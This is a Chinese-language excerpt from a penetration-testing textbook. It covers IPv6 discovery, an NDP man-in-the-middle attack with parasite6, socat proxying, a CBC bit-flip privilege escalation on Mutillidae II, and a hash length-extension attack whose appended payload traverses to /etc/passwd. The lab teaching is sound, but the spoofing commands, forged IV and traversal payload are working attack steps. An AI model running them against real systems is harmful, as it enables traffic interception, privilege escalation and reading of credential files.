IPv4 和 IPv6 之间有很多差异;我建议通过研究 IPv6 数据包的结构来了解这些差异。最明显的差异可能就是地址。乍一看,IPv6 地址看起来令人困惑。除了比 IPv4 地址长之外,它们还以十六进制字符表示(文本形式),而不是十进制。这些看起来吓人的地址是对 IPv4 的一个改进 —— 地址空间。IPv4 地址由四组 8 位组成(一个八位字节),总共 32 位。

因此,IPv4 地址的总数是 232 = 4.294967296 十亿,准确地说。回到 1970 年代,这个听起来很大的数字当时似乎绰绰有余,但 IPv4 地址耗尽很快就成了一个现实威胁,并且在过去的十年里,成为了一个真正的挑战。另一方面,考虑 IPv6 地址:由八组每组四个十六进制字符组成(每个十六进制字符占用 4 位);因此,八组每组 16 位(一个十六进制组)总共 128 位。因此,总的地址空间是 2128 = 340,282 十六万亿个地址。足够让地球上的每一颗沙粒拥有 45,000 万万亿个 IP 地址。在非正式语言中,这简直是 相当庞大。在使用 IPv6 地址时,你可能会看到像 2052:dfb8:85a3:7291:8c5e:0370:aa34:3920 这样的长地址,也可能看到像 2001:db8:85ad::2:3 这样的简短地址,甚至是 IPv6 零地址(未指定地址),它就是两个冒号 —— ::。所以,理解这些地址的最简单方法是从核心的、未经压缩的地址开始,然后查看 IETF 简化地址的规范。

正如我们刚刚了解到的,原始的 IPv6 地址是由八组四个(小写)十六进制字符组成,并且各组之间用冒号分隔。以下是一个例子:

2001:007f:28aa:0d3a:0000:0000:2e87:0bcb

有两个主要的压缩规则。第一个规则是省略十六进制组中的前导零(而不是整个零组;那个是接下来的规则)。00aa 变成 aa05f4 变成 5f4000e 变成 e。在我们的例子中,有三个组包含前导零,因此我们的地址变成了如下:

2001:7f:28aa:d3a:0000:0000:2e87:bcb

第二条规则涉及将所有零的组转换为双冒号(::)。此规则适用于相邻的全零组;如果有两个或更多相邻的全零组,它们将全部替换为一个双冒号。单个全零组不会被压缩,而是用一个0表示。如果有多个连续的零组,最左侧的零组将被压缩,其余的会变成单个零组。

通过仅压缩相邻的零组,并且每个地址只进行一次这种压缩,我们可以避免任何歧义。如果你想知道双冒号表示多少个未压缩的零组,只需记住完整的 IPv6 地址由八个组组成——所以你将根据需要将其转换成使其总共有八个组的形式。

在我们的示例中,存在一个连续的零组(两个组),因此这八个相邻的零被压缩成了双冒号:

2001:7f:28aa:d3a::2e87:bcb

这看起来比未压缩的地址更易于管理,对吧?通过遵循这些压缩规则,结果与第一个地址相同。

在继续之前,让我们再看几个例子:

表 5.1

好的,你已经掌握了 IPv6 地址压缩的基本知识。现在让我们来看一些适用于 IPv6 环境的实际发现工具。

看我叫,叫——本地 IPv6 侦查与邻居发现协议

所以,你现在在网络上,需要进行一些侦查,了解 IPv6 网络上有什么。此时我知道你内心的黑客在想什么——“好吧,扫描 IPv4 地址空间的大面积范围是可行的,但 2128 地址空间呢?那充其量是浪费时间。”你说得对!尝试将 Nmap 中的 -6 标志与一系列地址组合使用时会出错。所以,我们必须从不同的角度考虑主机发现。

在我们拿出攻击工具包之前,让我们先回归基础,使用ping。如果你查看ping的手册页面,你会发现支持 IPv6;但是,我们不能像过去那样进行大规模的 ping 扫描。没问题——我们可以 ping 本地链路组播地址。根据定义,这将促使我们的友好邻居做出响应,从而提供一些目标。目前,IPv6 定义了许多组播地址,用于不同的目的(例如,本地段上的所有路由器、RIP 路由器、EIGRP 路由器等),但现在要记住的是 ff02::1。我们将有效地模拟邻居发现协议的请求/广告过程。

我们将发送一个指向本地链路组播地址 ff02::1 的 IPv6 ping 命令,以触发来自我们段上主机的响应,从而填充邻居表;然后,我们将让 ip 命令显示这些发现的邻居:

ping –6 –I eth0 –c 10 ff02::1 > /dev/null
ip –6 neigh show

让我们看看它长什么样:

图 5.32 – IPv6 邻居

图 5.32 – IPv6 邻居

注意到响应中的模式了吗?所有地址都属于fe80::/10。主机们回应了一个链路本地地址,除了任何全球唯一地址之外,它还会有这个链路本地地址。毕竟,我们是通过对链路本地多播地址进行 ping 操作来收集这些信息的。ping 是一个主动任务;通过进行一些被动监听,我们可能会听到设备通过 ICMP6 邻居请求和重复地址检测DAD)过程确认它们的分配地址是唯一的。现在,我们可以打开我们的攻击工具包了。

IPv6 探测和攻击的标准瑞士军刀是 THC-IPV6,它包含在 Kali Linux 中。我们指令detect-new-ip6工具监听我们的接口,监控任何 ICMP6 DAD 消息:

atk6-detect-new-ip6 eth0

你应该看到随着新地址的出现,数据被返回:

图 5.33 – 使用 DAD 检测新地址

图 5.33 – 使用 DAD 检测新地址

这样,我们就收集了一些目标,可以开始使用 Nmap 的-6标志扫描服务了。谢谢你,DAD!

IPv6 中间人攻击 – 攻击你的邻居

到目前为止,你可能已经被 ARP 弄得头疼了。别担心——IPv6 有一个不同的过程来将链路层地址解析为 IPv6 地址。不过,设计者似乎不想让我们感到无聊——我们仍然可以像在 IPv4 和 ARP 中那样伪造和操控这个过程,从而建立中间人攻击。让我们来看看邻居发现协议NDP)在 IPv6 中的解析是如何工作的,然后我们将使用 THC-IPV6 的parasite6来攻击它。

你可能记得在嗅探 ARP 流量时,存在两个部分:

  • 谁拥有<IP 地址>?告知<主机>

  • <IP 地址> 位于 <MAC 地址>

在 IPv6 中,这两个部分分别被称为邻居请求NS)和邻居响应NA)。首先,带有查询的节点向ff02::1多播地址发送 NS 消息。这些消息会被段上的所有节点接收,包括 NS 查询的目标节点。目标节点随后会以 NA 消息回复请求者。所有这些消息都是通过 ICMPv6 传输的。

就这么简单。不过,方法在处理回复时稍有不同。在 IPv4 ARP 中,将链路层地址映射到 IP 地址的回复可以在没有请求的情况下广播,网络段上的节点将相应地更新它们的表。换句话说,攻击者可以抢先发起任何解析请求,因此目标永远不会识别自己为正确的地址。在 IPv6 ND 中,目标系统将回应 NS 请求,并向请求者发送 NA;简而言之,请求者最终会收到两个 NA 消息用于相同的查询,但它们指向两个不同的链路层地址,其中一个是攻击者的地址。好玩吧?接下来你会笑出声:通过设置 ICMPv6 覆盖标志,我们告诉接收者——你猜对了——覆盖任何之前的消息。请求者将收到两个答案:“嗨,我就是你要找的设备,”紧接着是,“别听那家伙的,那实际上是我。”

我们方便的 NDP 伪造工具叫做parasite6。是的,我们需要设置数据包转发,以便在伪造开始后流量能够通过我们的接口,但还有另一个配置步骤:抑制 ICMPv6 重定向。在某些情况下,一个转发 IPv6 流量的设备(也就是你,攻击者)必须发送重定向回源,从而有效地告诉源设备将流量发送到其他地方。

某些条件会触发这个过程,包括通过接收流量的相同接口转发流量——哎呀。所以,我们还需要设置一个ip6tables规则。我们的朋友parasite6工具非常贴心,启动时会提醒我们,以防我们忘记。

在使用这些协议时,要特别留意那个烦人的数字6ping -6nmap -6,以及ip6tables而不是iptables,等等。它们在概念和功能上有很多重叠,所以要小心:

sysctl –w net.ipv6.conf.all.forwarding = 1
ip6tables –I OUTPUT –p icmpv6 –-icmpv6-type redirect –j DROP
atk6-parasite6 –l –R eth0

以下截图展示了前面命令的输出。

图 5.34——在启动 parasite6 攻击之前,使用 ip6tables 配置 IPv6 转发和过滤

图 5.34——在启动 parasite6 攻击之前,使用 ip6tables 配置 IPv6 转发和过滤

现在,攻击已经激活,你可以进入拦截和操作的下一阶段。

生活在 IPv4 世界中——为你的工具创建本地的 4 到 6 代理

Kali 中有一个工具,可以被看作是增强版的netcatsocat。这个工具可以做很多事情,我们这里没有足够的空间详细介绍,但它在 IPv4 和 IPv6 环境之间进行转发的能力特别有用。我们已经看到了一些为 IPv6 设计的工具,但我们偶尔会遇到需要某个特定 IPv4 工具功能来与 IPv6 主机通信的情况。这时就可以使用socat代理。

概念和设置很简单——我们创建一个 IPv4 监听器,然后通过 IPv6 将数据包转发到我们可能有脆弱 web 服务器的主机上,接着我们用 Nikto 扫描它:

socat TCP-LISTEN:8080,reuseaddr,fork TCP6[<IPv6 address>]:80

目前所有操作都在后台进行,因此你在终端中不会看到任何输出。对于 socat 代理来说,没有消息就是好消息;如果出现问题,它会提醒你。我们来看看这些选项:

  • TCP-LISTEN:8080 告诉 socat 监听 TCP 连接并定义本地监听端口——在此例中,端口为 8080

  • reuseaddr 在进行高强度测试时是必要的,它允许多个并发连接。

  • fork 是指每当有新连接通过管道时,都会分叉一个子进程,这与 reuseaddr 一起使用。

  • TCP6 紧跟在空格后面,告诉 socat 我们要如何处理在命令监听端接收到的流量;它表示将流量通过 IPv6 转发到 TCP 目标的端口 80。注意,由于冒号在命令语法和 IPv6 地址中都使用,因此这里需要使用括号,以避免混淆。

现在,我只需将我的工具集指向本地端口 8080,所有流量将通过 IPv6 在端口 80 被目标接收:

图 5.35 – 通过 socat 代理在 IPv6 地址上运行 Nikto 扫描 web 服务器

图 5.35 – 通过 socat 代理在 IPv6 地址上运行 Nikto 扫描 web 服务器

如你所见,必须为 socat 定义目标和端口。你知道什么会非常有用吗?一个 Python 脚本,它可以提示输入主机和端口号,并自动配置 socat。这是可以考虑的一个后续事项。

总结

在本章中,我们通过对客户网络的发现和漏洞分析展开了探索。我们探讨了 Nmap 在当今时代的强大功能,并展示了它仍然是网络映射的首选工具。我们研究了不同扫描类型的底层机制,并学会了如何让 Nmap 与 Metasploit 直接交互,以便更容易定位目标。接着,我们学习了如何通过替换下载内容为恶意二进制文件,利用 BetterCAP 实时破坏数据流,并熟悉了更新后的用户界面。在玩转 BetterCAP 后,我们学习了如何将任意协议封装在 HTTP 隧道中,以绕过过滤器。最后,我们通过回顾 IPv6 以及一些基础的 IPv6 工具,了解了如何在 IPv6 环境中使用 IPv4 工具。

在下一章,我们将进入一些密码学概念和一些较少为人知的攻击,这些攻击在许多环境中仍然常常被忽视。我们不仅会研究这些攻击,还将讨论使其发生的底层机制。

问题

回答以下问题,测试你对本章内容的掌握:

  1. -T1 确保 Nmap 执行最快的扫描。 (正确 | 错误)

  2. Maimon 扫描与 Xmas 扫描有何相似之处?

  3. BetterCAP 的 download-autopwn 可以将有效负载大小与请求文件的大小匹配。(对 | 错)

  4. 构建两个主机之间的 HTTP 隧道需要哪些两个组件?

  5. IPv6 对应于 IPv4 的 ARP 称为 __________。

  6. 提供链接本地组播地址 ff02::1 的未压缩表示。

进一步阅读

若要了解本章中涉及的主题,请参考以下资源:

第六章:加密学与渗透测试者

尤利乌斯·凯撒被认为使用了加密技术——这种方法今天被称为凯撒密码。你可能认为历史上最著名的军事将领之一使用的密码会是一个很好的安全示例,但这种方法——一种简单的字母表移位替换密码——可能是最容易破解的密码。人们说,在他那个时代,由于大多数可能会截获他信息的人都不会阅读,所以这种方法被认为是安全的。现在你知道了一些有趣的历史细节,也提醒我们加密学自那时以来已经取得了长足的进步,你的渗透测试客户不会再使用凯撒密码了。

加密学是渗透测试中的一个有趣话题:它是信息安全整个科学中一个如此基础的部分,但在安全测试中往往被忽视。我们已经探讨过通过找到欺骗应用程序发送明文数据的方式来避免攻击加密的任务,但这些攻击并不是加密算法的破坏。在本章中,我们将查看一些直接攻击加密实现的示例。我们将覆盖以下主题:

  • 对密码块链接算法的比特翻转攻击

  • 通过计算能够通过验证的哈希来偷偷提交恶意请求;我们将看到加密填充如何帮助我们

  • 填充 Oracle 攻击;顾名思义,我们将继续探讨填充概念

  • 如何安装强大的 Web 服务器堆栈

  • 在家庭实验室中安装两个故意存在漏洞的 web 应用程序以进行测试

技术要求

本章所需的内容:

  • Kali Linux 运行在笔记本电脑上

  • XAMPP Web 服务器堆栈软件

  • Mutillidae II 漏洞 Web 应用程序

翻转比特——对 CBC 算法的完整性攻击

当我们考虑针对加密密码的攻击时,通常想到的是那些针对密码本身的攻击,这些攻击使我们能够破解密码并恢复明文。需要记住的是,即使密码没有被破解且完整信息未知,信息本身也可能受到攻击。我们来考虑一个简单的流密码的例子。我们将不使用异或位,而是使用十进制数字和模运算。

异或(XOR)是“异或”运算。它只是比较两个输入,如果它们不同,则返回 true。当然,在二进制中,输入要么为真(1),要么为假(0),所以如果两个输入都是1或都是0,结果将是0

我们将使我们的消息为MEET AT NOON,使用01表示A02表示B,依此类推。我们的密钥将是48562879825463728830

  13050520012014151514
+ 48562879825463728830
  --------------------
  51512399837477879344

现在,假设我们无法破解算法,但我们可以在传输过程中拦截到加密的消息,并对一些数字进行修改。使用相同的密钥,随便加一些随机数字,解密后得到的就是一堆无意义的东西。但如果我们只改变一些最后的数字——现在,我们的密钥是51512399837469870948,突然间,明文变成了 MEET AT FOUR。我们没有攻击算法;我们攻击了消息,并且给某些人带来了麻烦。这只是一个粗略的例子,旨在说明攻击消息的概念。现在我们在模运算上玩得很开心,接下来让我们深入探讨更复杂的内容。

块密码和操作模式

在我们这个有趣的小例子中,我们使用的是流密码;数据是按位加密的,直到加密完成。这与块密码不同,块密码顾名思义,是以固定长度的块加密数据。从安全角度来看,这意味着单个数据块的安全加密可以很容易实现;你可以使用与块同样长的高熵密钥材料。但我们的明文数据从来不那么短;数据被拆分成多个块。我们如何不断加密一个又一个的块并将它们连接在一起,这就是所谓的操作模式。正如你所想的,块密码操作模式的设计就是安全性的所在,成功与失败的关键。

让我们来看一下可能是最简单的(我更喜欢用中世纪这个词)块密码操作模式,叫做电子密码本ECB)模式,这个名字来源于二战时期的传统密码本 – 你加密和解密文本块时,并不会利用任何其他信息去影响其他块。如果你加密的是随机数据,这样的模式可能完全可行,但谁会加密随机数据呢?没人;人类编写的消息中总是有规律的。现在,我们将使用 opensslxxd 在 Kali 上进行演示,这是一种很好的加密方法,并且可以查看实际结果。我打算告诉全世界我是一个精英黑客,并且我会反复重复这条信息——你知道的,就是为了强调。我将用 AES-128 加密,操作模式是 ECB,然后使用 xxd 转储结果:

图 6.1 – AES 在 ECB 模式下

图 6.1 – ECB 模式下的 AES

哦,太好了。乍一看,我只看到一堆看起来随机的十六进制字符混杂在一起。一个可靠的加密信息应该无法与随机数据区分,因此我的工作完成了。但等等!仔细一看,确实有一长串字符在整个数据中重复出现:

图 6.2 – 十六进制转储揭示了一个模式

图 6.2 – 十六进制转储揭示了一个模式

你可能看着这个想——那又怎样?你仍然不知道消息是什么。 在密码分析领域,这是一个重大突破。关于良好加密的简单经验法则是:密文应该与明文完全没有关系。在这个例子中,我们已经知道有些东西在重复。攻击消息的努力已经开始。

介绍密码块链

在 ECB 模式下,我们的明文是任凭摆布的,因为每个块都有自己独立的内容。于是有了密码块链CBC),我们像以前一样对一个块进行加密——只是,在加密下一个块之前,我们先将下一个块的明文与前一个块的加密输出进行异或操作,创建一个块链。我知道你们这些黑客现在在想什么:如果我们将明文块与前一个块的加密输出进行异或,那么第一个块的异或输入是什么? 你可真不放过任何细节。没错,我们需要一个初始值——恰如其分地被称为初始化向量IV):

图 6.3 – 密码块链操作

图 6.3 – 密码块链操作

IV(初始化向量)的概念让我想起了客户问我,你怎么看那些密码保管箱应用? 我告诉他们,如果你需要帮助记住密码,它们确实很好,肯定比为所有账户使用相同密码要好——但我总是无法摆脱那种感觉,觉得整个系统都依赖于那个唯一的初始密码。使用 CBC 时,安全性高度依赖于这个 IV。

设置你的比特翻转实验室

了解了一点背景知识后,我们开始吧。我们将对一个 Web 应用进行攻击,实施比特翻转攻击。这个实践演示的好处在于,你将拥有一个强大的 Web 应用黑客实验室,供你继续学习。我敢打赌,你们中的一些人可能之前接触过著名的Damn Vulnerable Web AppDVWA),但最近,我发现自己开始使用 OWASP 项目 Mutillidae II。我喜欢将 Mutillidae II 部署在 XAMPP 服务器堆栈上,因为其初始设置快速且简单,而且它是一个强大的组合;然而,如果你习惯使用你自己的 Web 服务器解决方案,也完全可以。

如果你正在跟着我的实验,那么首先下载 XAMPP 安装程序,chmod 使其具有执行权限,然后运行安装程序。你可以访问 www.apachefriends.org/download.xhtml 来找到当前和早期版本:

图 6.4 – 安装 XAMPP

图 6.4 – 安装 XAMPP

安装完成后,你可以在系统上找到/opt/lampp。接下来,我们必须使用git从 GitHub 获取 Mutillidae II 项目。我们希望将所有内容放在/opt/lampp/htdocs,所以你可以在那里运行git clone命令,或者在获取所有文件后使用mv命令:

图 6.5 – 安装 Mutillidae II

图 6.5 – 安装 Mutillidae II

我们差不多完成了,但在开始之前还有一个调整需要做。默认情况下,MySQL 的 root 用户没有设置密码,但 Mutillidae 的默认配置会尝试使用 mutillidae 作为密码。更直接的方法是让数据库配置匹配。找到数据库配置文件,并使用 nano /opt/lampp/htdocs/includes/database-config.inc 命令打开它(或使用你喜欢的编辑器),找到定义 DB_PASSWORD 的那一行,删除 mutillidae,使该值为空:

图 6.6 – 配置数据库

图 6.6 – 配置数据库

终于,我们可以启动 XAMPP 了。运行 ./lampp start,拿起浏览器,前往 localhost:

图 6.7 – 启动 XAMPP

图 6.7 – 启动 XAMPP

当你第一次访问该页面时,可能会看到一个错误,提示你的数据库服务器离线。这个错误下方的第一个选项是一个链接,写着 点击这里尝试设置数据库。点击该链接,再点击 确定,Mutillidae 首页将加载。进入首页后,你需要进行一些最后的调整:点击 Toggle Security 以启用客户端安全性,点击 Toggle Hints(当该选项可见时)以禁用提示,然后点击 Enforce TLS,这样我们就可以在一个更真实的目标环境中进行工作。(记住,浏览器会警告你自签名证书的风险;接受风险并继续。)现在,深呼吸,喝口咖啡——我们可以开始玩我们的新玩具了。

操控 IV 以生成可预测的结果

在左侧导航至 OWASP 2017,然后选择 Injection** | **Other,再选择 CBC Bit Flipping。那么,我们来了解一下。此时,我们正在使用 **用户 ID **174 和 **组 ID **235。为了成为万能的 root 用户,我们需要将用户更改为 000,组更改为 000。该网站使用 SSL 保护,因此拦截传输中的流量会有点麻烦。你还注意到这个网站的其他情况吗?

那么 URL 呢?即,https://127.0.0.1/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba

哇,原来是一个 IV 字段,就在那里等着我们。我们已经看到,IV 会与明文进行异或运算,在加密前创建加密块,因此操作 IV 必然会改变加密输出。首先,让我们来看一下这个 IV 本身:6bc24fc1ab650b25b4114e93a98f1eba。我们知道它是十六进制的,长度为 32 个字符;因此,长度为 128 位。

还记得我们用openssl实验 CBC 加密吗?我们使用了 AES,AES 的块大小始终是 128 位。考虑到我们的 IV 长度是 128 位,应用程序可能正在对单个数据块进行 AES 加密,这样它就是第一个(也是唯一的)数据块,因此 CBC 需要 IV。请记住,任何比算法块大小短的明文块都必须进行填充。注意当你尝试改变 IV 末尾字节时,用户数据会发生什么。

我们可以坐在这里分析一整天,但到现在你可能已经发现我喜欢破坏东西,所以我们来修改 URL 中的 IV,提交它,看看会发生什么。我将初始字符改为零,使 IV 变为0bc24fc1ab650b25b4114e93a98f1eba

图 6.8 – 调整 IV

图 6.8 – 调整 IV

我们的 ID 没有变化,但看看应用程序 ID值发生了什么。现在,它是!1B2。之前是A1B2。如果我将前两个十六进制数字改为零,会发生什么?我们的应用程序 ID现在是*1B2。如果我改动前三个,那么应用程序 ID中的下一个字符就会崩溃,因为得到的二进制值没有 ASCII 表示。现在,我们知道 IV 中的前两个十六进制字符(8 位)修改了应用程序 ID值中的第一个 ASCII 字符(8 位)。这是一个突破,几乎意味着特权提升的最后一程,因为我们刚刚建立了明文和 IV 之间的直接关系,这意味着我们可以解密密文。而当我们知道三个值中的两个时,不管顺序如何,我们都可以通过简单的二进制 XOR 运算算出第三个值。现在,我们还没有找到可以操作用户 ID组 ID值的十六进制数字,但我们先休息一下,看看是否能根据已有的信息找出这个关系。

我们看到应用程序 ID值从A变为!,然后变成了*。因此,ID 是用 ASCII 表示的,这是现代字符编码中最常见的标准。这里对我们重要的是,单个 ASCII 字符是 8 位(1 字节)长。另一方面,十六进制仅仅是一个基数 16 的数字系统。我们在计算机的“肮脏底层”到处都能看到十六进制,因为 16 是 2 的幂,这意味着从二进制(也就是基数 2)转换到十六进制非常容易。 (怎么说“派”很容易呢?算了,我跑题了。)2 的 4 次方等于 16,这意味着一个十六进制数字是 4 位长。现在,让我们回到实验室:

表 6.1

你看到了我们的金色票据了吗?好吧,让我们将二进制 IV 值与应用程序 ID值中的已知二进制 ASCII 结果进行 XOR 运算。如果它们匹配,那么我们得到了与 IV 值进行 XOR 运算生成应用程序 ID值的那个值。记住,如果我们知道三个中的两个,就可以知道第三个。

首先,让我们看看原始的 IV:

  • 十六进制 6b**: **0110 1011

  • ASCII A**: **0100 0001

  • XOR 结果: 0010 1010

现在,让我们看看我们测试过的 IV:

  • 十六进制 00**: **0000 0000

  • ASCII ***: **0010 1010

  • XOR 结果: 0010 1010

这就是,朋友们,为什么他们叫它位翻转。我们发现应用程序正在将 IV 中的这一字节与0010 1010进行 XOR 运算,发生在解密过程中。让我们通过计算,如果我们将前两个十六进制数字替换为45,会得到什么,来验证我们的理论:

  • 十六进制 45**: **0100 0101

  • 密文 XOR: 0010 1010

  • 二进制结果: 0110 1111

01101111 编码为 ASCII o(小写字母O)。所以让我们验证一下我们的理论,看看是否最终会得到一个 Application IDo1B2

图 6.9 – 确认我们对应用程序 ID 属性的控制

图 6.9 – 确认我们对应用程序 ID 属性的控制

难道这不会让你血脉喷张吗?这是一个令人兴奋的突破,但我们只是意识到了一些幕后机制;我们还不是 root。所以,接下来让我们开始寻找需要翻转的位。

翻转到根目录 – 通过 CBC 位翻转实现特权提升

你可能以为我们可以通过一个个十六进制对的方式逐步操作,直到找到正确的位置并翻转取得胜利。其实并不完全是这样。

用户 ID组 ID的编码方式有些奇怪,并且在我们向下处理 IV 时,有不同的密文被用来进行 XOR 操作。所以,在这一点上,完全是依赖我们已经收集到的线索进行反复试验。当我解决这个问题时,我做了一些笔记:

图 6.10 – 用图表将密文与 ID 输出联系起来

图 6.10 – 用图表将密文与 ID 输出联系起来

这有点繁琐,但我只需要玩弄几个字符就能理解这里发生了什么。我发现了两个主要点:

  • 虽然每个位置都是 8 位,但只修改最后 4 位就会改变该位置的用户 ID/组 ID值。例如,我注意到当我将一个位置的两个十六进制字符替换为00时,结果会崩溃(即结果的二进制值不适合 ASCII 编码)。

  • 我对每个字节的后 4 位进行 XOR 计算,以找到我需要的密钥,并发现该值在所有位置并不相同。

你是不是已经期待每个字符都有独特的 XOR 值了?与 IV 进行 XOR 运算的位流不会是一个字节长的重复模式。尽管如此,发现这些值的努力还是值得的,因为现在我们所需要做的就是计算每个位置的 XOR:如果我们将 IV 中的十六进制字符与该位置上用户 ID/组 ID值的十六进制进行 XOR 运算,结果将是该位置的加密位。由于我们在寻找所有零, 所以每个位置的结果就是我们需要放入 IV 中的十六进制字符,而不是原始字符。

让我们用 IV 中的一个例子来解释这个结论:位置09b4,它对应于组 ID值中的中间数字3。十六进制4的二进制是0100,十六进制3的二进制是00110100** XOR **0011等于011101117的二进制等效值,这意味着我们将b4替换为b7,得到0

现在,我必须对所有六个位置重复这个计算,并学到我需要的信息:字节长的 IV 位置0510分别对应用户 ID组 ID值,而每个位置的最后 4 位需要用(按顺序)a2f774的十六进制值替换以获得 root。原始 IV 中的位置05ab,所以它变成了aa;位置0665,所以它变成了62;依此类推。

因此,IV 从第 5 字节到第 10 字节的变化从ab650b25b411变为aa620f27b714

图 6.11 – 关联 IV 字节位置与 ID

图 6.11 – 关联 IV 字节位置与 ID

真相时刻:我要将 IV 从6bc24fc1ab650b25b4114e93a98f1eba改为6bc24fc1aa620f27b7144e93a98f1eba

图 6.12 – 完全控制用户和组 ID 值

图 6.12 – 完全控制用户和组 ID 值

现在我们玩了加密,让我们看看加密哈希以及它们为我们黑客留下的线索。

数据潜入 – 哈希长度扩展攻击

正如你可能记得的,在我们简要介绍的 第四章网络上的 Windows 密码,哈希并不是加密。加密消息可以被解密为可读的消息。而加密哈希,则没有明文表示;它无法被逆向。尽管如此,通过特定哈希算法处理的特定输入将始终产生相同的哈希输出(称为单向函数)。这使得哈希算法在完整性检查中非常有用,因为即使输入有微小变化,也会产生完全不同的哈希输出。然而,我们要考虑到哈希的输出是固定长度的,无论被哈希的消息多长;对于较长的消息,哈希函数是在消息数据的块上轮流进行的,一直到整个消息都被哈希完。

由于结果依赖于所有之前的输入,我们理论上可以向消息中添加数据块,并且用于下一轮的数据将与整个操作在最后一个数据块结束时的情况相同。我们将利用这一点来通过哈希长度扩展攻击攻击消息认证机制,长度扩展指的是我们将自己选择的数据添加到消息的末尾。

这比我们的位翻转冒险要复杂一些,所以我们将引入无与伦比的 Web 应用程序测试框架 Burp Suite,以便让我们俯瞰整个局面。Burp Suite 强大到足以被涵盖在好几个章节中,但在本次演示中,我们将它设置为本地代理,以便能够查看并轻松地操作正在传输的 HTTP 流量。

设置你的哈希攻击实验室

另一个很好的脆弱 Web 应用程序是 CryptOMG。如果你跟着我之前的做法,它的步骤是一样的——安装 XAMPP,下载并解压 CryptOMG ZIP 文件的内容到 htdocs 文件夹,然后运行 ./lampp start

旧版的开始

与 Mutillidae II 不同,CryptOMG 不再被积极支持,并且它依赖于较旧版本的 PHP。因此,你需要访问 Apache Friends 网站上的旧版本 XAMPP 安装程序。它是一个故意设计为脆弱的实验室,因此这不会影响底层漏洞的细节,这种漏洞在针对专用设备和自家开发的应用程序进行内部评估时依然出奇常见。

我们将在本次演示中使用的攻击工具,hash_extender,值得在你的 Kali 安装中保留以供将来使用。其他工具也可以用于该任务(特别是 HashPump),但我更喜欢 hash_extender 的易用性以及它与其他任务的集成。最简单的在 Kali 上运行它的方法是通过 git 安装。请注意,我们还需要确保 SSL 开发工具包已经安装:

git clone https://github.com/iagox86/hash_extender

apt-get update && apt-get install libssl-dev

cd hash_extender && make

使用./hash_extender启动工具,无需任何参数,先熟悉一下。

理解 SHA-1 的运行状态和压缩函数

在我们的浏览器窗口中,选择挑战 5(获取/etc/passwd的访问权限),将算法改为 SHA-1,点击保存,然后点击test

嗯,我在这里没看到什么变化。但那个 URL 看起来很有趣。查看一下我们能看到的(显然是我们控制的)参数:http://127.0.0.1/ctf/challenge5/index.php?algo=sha1&file=test&hash=dd03bd22af3a4a0253a66621bcb80631556b100e

显然,algo=sha1定义了我们选择的算法。但是file=testhash字段应该引起我们的注意,因为它们看起来像是用于授权访问名为test的文件的消息认证码机制。如果我现在修改哈希值,我将收到文件未找到的错误。在我们进行攻击之前,先快速回顾一下它是如何工作的。

在我们的示例中,访问test文件需要通过附加的哈希进行身份验证。你可能会想,那有什么用呢?所有签名能告诉我的是文件的名字没有被修改。好吧,除非我们在消息中附加了一个密钥,在这种情况下,我们要哈希的是密钥 + 消息。根据我们对哈希的理解,只有密钥 + 消息才能生成正确的哈希。哈希函数是单向函数,因此无法逆向求解密钥。我们想要注入我们的数据,因此必须执行目录遍历攻击来获取/etc/passwd;也就是说,请求一个文件并提供一个有效的哈希来验证请求。表面上看,这似乎是不可能的,但我们忽略了两个关键机制,它们内置在哈希算法中——填充和初始哈希值(也称为寄存器)。

SHA-1 是迭代的。它将消息拆分成 512 位的数据块,然后对每个数据块应用压缩函数。每轮压缩函数有两个输入:来自前一轮的 160 位哈希值,以及下一个 512 位的消息数据块。我能听到你在对着这本书喊,那是不是意味着有初始化向量? 是的,确实有。SHA 算法有一个有趣的特点,它们的初始哈希值(IV)是标准化且固定的。在 SHA-1 中,初始哈希值是67452301efcdab8998badcfe10325476c3d2e1f0。它有 3.97 位的熵,算是一个不错的随机数(但当然,由于它是标准化的,所以并不是随机的——全世界都知道它)。这个初始哈希值被拆分为五个 32 位的块。在哈希过程中,这五个块被存储在寄存器(H0 到 H4)中。这些值被称为运行状态。当整个消息处理完毕,最后一个数据块的压缩函数输出了最终的 160 位运行状态时,这个值就是整个消息的实际 SHA-1 哈希值。

简而言之,每当你看到一个 SHA-1 哈希值时,你看到的就是消息数据最终 512 位区块的最终运行状态。压缩函数将之前的运行状态作为输入之一,回到消息的起始部分和规范定义的初始哈希值。

那么,为什么我们要关注这些细节呢?长度扩展攻击之所以有效的关键在于,SHA-1 哈希不仅仅是整个操作的输出;它是哈希过程中的一个运行状态。假设哈希过程继续进行,处理下一个消息数据区块;倒数第二个区块的运行状态正是我们在这里看到的内容。这个运行状态来自于上一个压缩函数的输出,而这个压缩函数本身也会接收前一个运行状态作为输入,依此类推——直到我们回到初始哈希值作为 160 位输入,第一块消息数据作为 512 位输入,其中包含未知的秘密!首先,我们将创建一个新的消息,在末尾加入攻击者的数据,并加上填充以满足 512 位区块的要求。然后,我们将使用原始哈希作为压缩函数的运行状态输入,以处理最后一个区块,最终我们将得到一个新的哈希,它从第一个秘密区块中派生出来。我们永远不会知道秘密是什么,而且我们也不需要知道——它的“DNA”已经被嵌入到我们拥有的数字中。

图 6.13 – SHA-1 算法的实际应用

图 6.13 – SHA-1 算法的实际应用

我知道此时你心中的黑客在说:由于最终区块会有填充,我们在不知道秘密长度的情况下无法得知填充长度;因此,我们无法在不了解秘密长度的情况下注入数据。没错,但这太简单了,华生!我们将依赖于人类已知的最强大、最危险、最令人震惊的黑客技术之一——我们只需要猜测。秘密的长度不可能是任意的;它必须适应区块的大小。这限制了我们的猜测范围,使其变得可行。但为了让生活稍微轻松一点,我们可以使用 Burp Suite 来发送这些猜测。

使用哈希长度扩展攻击进行数据注入

回到我们的演示。你可能还记得文件的名称是test。这意味着test才是实际数据,因此,512 位的压缩函数输入由一个秘密、test 和填充组成。我们只需要告诉哈希扩展器当前的哈希值、原始数据、秘密长度猜测的字节范围,以及我们想要注入的数据——它会为每个猜测生成一个哈希值。然后,我们可以构建一个包含我们的攻击者数据作为文件名以及我们新的哈希的 URL——如果我们正确猜出了秘密的长度,那么我们的哈希将通过验证。让我们看一下命令:

./hash_extender --data=test --signature=dd03bd22af3a4a0253a66621bcb80631556b100e --append=../../../../../../../etc/passwd --format=sha1 --secret-min=8 --secret-max=50 --table --out-data-format=html > HashAttackLengthGuesses.txt

以下是前述命令中使用的术语:

  • --data 定义了正在验证的数据。在我们之前使用的术语中,这就是我们在提到secret + message时所指的消息。请记住,hash_extender 假设我们知道正在验证的数据(在这种情况下,是要访问的文件名);按定义,我们对secret一无所知。我们唯一希望了解的是secret的长度,但这得通过反复试验来确定。

